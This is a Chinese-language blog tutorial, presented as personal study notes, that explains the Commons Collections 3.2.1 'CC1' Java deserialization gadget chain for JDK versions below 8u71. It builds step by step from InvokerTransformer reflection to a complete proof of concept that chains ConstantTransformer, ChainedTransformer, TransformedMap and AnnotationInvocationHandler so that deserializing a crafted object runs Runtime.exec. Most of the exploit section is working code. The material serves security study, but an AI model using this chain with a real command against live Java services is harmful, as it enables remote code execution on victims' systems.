前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教。谢谢!

环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了

下载链接:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

maven:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 有漏洞的版本是commons-collections3.2.1

sun源码:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 拷贝到jdk目录下,这样便于阅读jdk源码

序列化与反序列化函数

1     public static void serialize(Object obj) throws Exception{
2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3 oos.writeObject(obj);
4 }
5 public static Object unserialize(String Filename) throws Exception{
6 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
7 Object obj = ois.readObject();
8 return obj;
9 }

首先,我们要知道,反序列化漏洞归根结底就是需要调用到危险函数,然后有些类会重写readObject方法,那么如果在调用Object方法的时候传入了具有危险方法的类,那么就会触发反序列化漏洞。CC链的作者发现在commons-collections下有一个Transformer接口

实现了Transformer接口的类

主要来看一下一下几个实现类中对transformer方法的实现:

ChainedTransformer:

    public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

可以看到,这个方法会接受一个Object数组,在调用这个方法的时候,会从构造函数接收的iTransformers中的类去调用transform方法,直到结束。

ConstantTransformer:

    public Object transform(Object input) {
return iConstant;
}

无论该方法接受的对象是什么类型,最后都会返回的是类初始化时接受的对象类型。

InvokerTransformer:

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

可以看到,在这个类中,transform方法调用时,会反射调用iMethodName方法,然后执行,而且,方法名称和参数是我们可以控制的,这就是我们要找的危险函数。

InvokerTransformer的简单利用

我们知道,在java中要执行命令,需要利用Runtime类,那么简单的使用Runtime去执行命令就可以利用以下的写法:

     Runtime.getRuntime().exec("calc");

反射调用的写法:

        Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(runtime,"calc");

利用InvokerTransformer类的写法:

        Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

寻找调用了transform方法的类

现在我们已经找到了危险方法,也知道了如何去利用该危险方法,那么我们现在就需要去寻找,还有哪些类同样调用了InvokerTransformer中的transform方法,这样我们才能加以利用

可以看到,以上很多的类都调用了transform方法,但是我们需要找到的是不同名类但是调用了同名方法的地方,所以很多同名函数都是不可加以利用的,为了简单起见,我们选择TransformedMap这个类。因为这个类中好几处都调用了transform方法。

TransformedMap的构造函数:

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

因为这个构造函数是protected修饰的,所以只能在类内被调用,但是,我们发现这个方法被类中的一个public方法decorate调用了,那么我们就可以通过该方法给他传值,然后再去想办法调用transform方法,从而实现利用

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

具体构造代码如下:

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<Object, Object>();
TransformedMap.decorate(map,null,invokerTransformer);

但是,我们会发现,在TransformedMap中,只有checkSetValue中会使value值去调用transform方法,但是这个方法又是protected修饰的,那么我们就需要去看一下有没有别的地方调用了这个方法。可以发现,在MapEnter的setValue中调用了这个方法

我们知道,MapEnter是在Map遍历的时候使用的,实际上这个方法就是重写了entry中的setValue方法,那么我们只要遍历被修饰过的Map,就会走到这个方法中,所以利用代码如下:

        Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<Object, Object>();
map.put("kay","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}

那么我们现在要去寻找,是否存在某个类,在readObject时调用了setValue方法,可以发现在AnnotationInvocationHandler的readObject中调用了该方法。

我们可以看一下,这个类的构造函数,可以看到,构造函数的第二个参数传入的是一个map类型,使我们可控的,所以我们可以利用这个类的readObject方法来实现利用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

因为这个类的构造函数是default修饰的,所以我们只能通过反射的方法来构造,然后进行序列化和反序列化就可以了。

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<Object, Object>();
map.put("kay","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//第一个参数继承了注解,我们先用override尝试
Object o = constructor.newInstance(override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

存在的问题

通过以上的代码实际上并不能实现利用,因为还存在以下的问题:

1.setValue方法中的值,是方法自动生成的,我们无法控制

2.Runtime对象无法序列化

3.setValue中的if判断需要满足

如何解决?

1.Runtime对象无法序列化的解决办法

我们知道Class是可以被序列化的,但是Runtime.class是可以被序列化的,那么我可以通过反射来获取

        Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");

修改成invokeTransformer版本

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
.transform(Runtime.class);
Runtime runtime = (Runtime)new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},new Object[]{null,null})
.transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

可以发现,实际上后一个的返回值会作为前一个的transform的参数,那么就可以去使用之前提到的ChainedTransformer

        Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

然后利用之前的代码进行调用

        Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object, Object>();
map.put("kay","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//第一个参数继承了注解,我们先用override尝试
Object o = constructor.newInstance("override",transformedMap);
serialize(o);
unserialize("ser.bin");

但是发现还有运行不了,现在来解决剩下的两个问题

2.setValue中的if判断需要满足

可以看到,type的值是从传入的type类型获取的,但是override中不存在任何的值,但是target中存在,所以我们可以利用target来替代,而且因为target中的值为value,所以我们要修改map中的值为value

        Object o = constructor.newInstance(Target.class,transformedMap);
        map.put("value","value");

3.setValue方法中的值,是方法自动生成的,我们无法控制

上面提到过ConstantTransformer会一直返回初始化的Transformer,那么我们就可以利用他来避免readObject中的修改。

所以完整poc如下:

 1         Transformer[] transformers = new Transformer[]{
2 //避免被readObject修改
3 new ConstantTransformer(Runtime.class),
4 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
5 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
6 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
7 };
8 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
9 HashMap<Object,Object> map = new HashMap<Object, Object>();
10 map.put("value","value");
11 Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
12 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
13 Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
14 constructor.setAccessible(true);
15 //第一个参数继承了注解,我们先用override尝试
16 Object o = constructor.newInstance(Target.class,transformedMap);
17 serialize(o);
18 unserialize("ser.bin");

CC1链详解的更多相关文章

  1. 你不知道的JavaScript--Item15 prototype原型和原型链详解

    用过JavaScript的同学们肯定都对prototype如雷贯耳,但是这究竟是个什么东西却让初学者莫衷一是,只知道函数都会有一个prototype属性,可以为其添加函数供实例访问,其它的就不清楚了, ...

  2. “全栈2019”Java异常第十五章:异常链详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java异 ...

  3. JavaScript学习总结(五)原型和原型链详解

    转自:http://segmentfault.com/a/1190000000662547 私有变量和函数 在函数内部定义的变量和函数,如果不对外提供接口,外部是无法访问到的,也就是该函数的私有的变量 ...

  4. Js作用域与作用域链详解

    一直对Js的作用域有点迷糊,今天偶然读到Javascript权威指南,立马被吸引住了,写的真不错.我看的是第六版本,相当的厚,大概1000多页,Js博大精深,要熟悉精通需要大毅力大功夫. 一:函数作用 ...

  5. Js作用域与作用域链详解[转]

     一直对Js的作用域有点迷糊,今天偶然读到JavaScript权威指南,立马被吸引住了,写的真不错.我看的是第六版本,相当的厚,大概1000多页,Js博大精深,要熟悉精通需要大毅力大功夫. 一:函数作 ...

  6. JavaScript作用域链详解

    JavaScript的作用域链还是很有味道的,搞懂了这个知识点,闭包的问题也就迎刃而解咯 1.JavaScript的全局变量和局部变量 首先,先来看看js的全局变量和局部变量,js不是块级作用域,所以 ...

  7. javascript 原型及原型链详解

    我们创建的每个函数都有一个 prototype (原型)属性,这个属性是一个指针,指向一个原型对象,而这个原型对象中拥有的属性和方法可以被所以实例共享. function Person(){ } Pe ...

  8. JavaScript prototype原型和原型链详解

    用过JavaScript的同学们肯定都对prototype如雷贯耳,但是这究竟是个什么东西却让初学者莫衷一是,只知道函数都会有一个prototype属性,可以为其添加函数供实例访问,其它的就不清楚了, ...

  9. 《前端之路》之 JavaScript原型及原型链详解

    05:JS 原型链 在 JavaScript 的世界中,万物皆对象! 但是这各种各样的对象其实具体来划分的话就 2 种. 一种是 函数对象,剩下的就是 普通对象.其中 Function 和 Objec ...

  10. JavaScript深入系列(一)--原型和原型链详解

    构造函数创建对象 首先我们先使用构造函数创建一个对象: function Person(){} var person = new Person(); person.name = 'tom'; cons ...

随机推荐

  1. HMM算法python实现

    基础介绍,后5项为基础5元素 Q = ['q0', 'q1', 'q2', 'q3'] # 状态集合 States,共 N 种状态 V = ['v0', 'v1'] # 观测集合 Observatio ...

  2. Kubernetes IPVS和IPTABLES

    个人名片: 对人间的热爱与歌颂,可抵岁月冗长 Github‍:念舒_C.ying CSDN主页️:念舒_C.ying 个人博客 :念舒_C.ying Kubernetes IPVS和IPTABLES ...

  3. 【云原生 · Kubernetes】配置 Rancher docker 云平台

    个人名片: 因为云计算成为了监控工程师‍ 个人博客:念舒_C.ying CSDN主页️:念舒_C.ying 1.1 Rancher 概述 Rancher 是一个开源的企业级容器管理平台.通过 Ranc ...

  4. 基于python的数学建模---多模糊评价

    权重 ak的确定--频数统计法 选取正整数p的方法 画箱形图   取1/4与3/4的距离(IQR)  ceil()取整 代码: import numpy as np def frequency(mat ...

  5. 原来用 MySQL 也可以做全文检索

    我是风筝,公众号「古时的风筝」,专注于 Java技术 及周边生态. 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在里面. 有朋友聊到他们的系统中要接入全 ...

  6. linux驱动移植

    1.1 开发前准备 1.1.1 Linux 驱动(面向对象) 1).Linux 驱动框架 思想:写驱动的时候,只提供操作硬件设备的函数接口 文件存放磁盘: open ,read ,write ,clo ...

  7. 在Linux配置git

    生成ssh ssh-keygen -t rsa 可以不设置密码,一路回车就行,会在 ~/.ssh/下生成两个ssh key: ssh-add ~/.ssh/id_rsa.pub 这一步是使用刚才生成那 ...

  8. linux常用指令记录

    给目标文件夹执行权限:chmod -R 777 html du -sh .  [对当前目录下所有的目录和文件的大小进行汇总,-s表示汇总,-h表示以KB, MB, GB, TB格式进行人性化显示]du ...

  9. PostgreSQL常用操作合辑:时间日期、系统函数、正则表达式、库表导入导出、元数据查询、自定义函数、常用案例

    〇.参考地址 1.pg官方文档 http://www.postgres.cn/docs/9.6/index.html 2.腾讯云仓pg文档 https://cloud.tencent.com/docu ...

  10. 【Java EE】Day12 XML、约束(DTD、Schema)、解析方式、Jsoup、选择器(Selector、XPath)

    一.XML介绍 1.概述 Extensible Markup Language--可扩展标记语言 标记语言 :标签构成 可扩展:可以自定义标签 2.功能 存储数据 作为配置文件使用 作为数据载体在网络 ...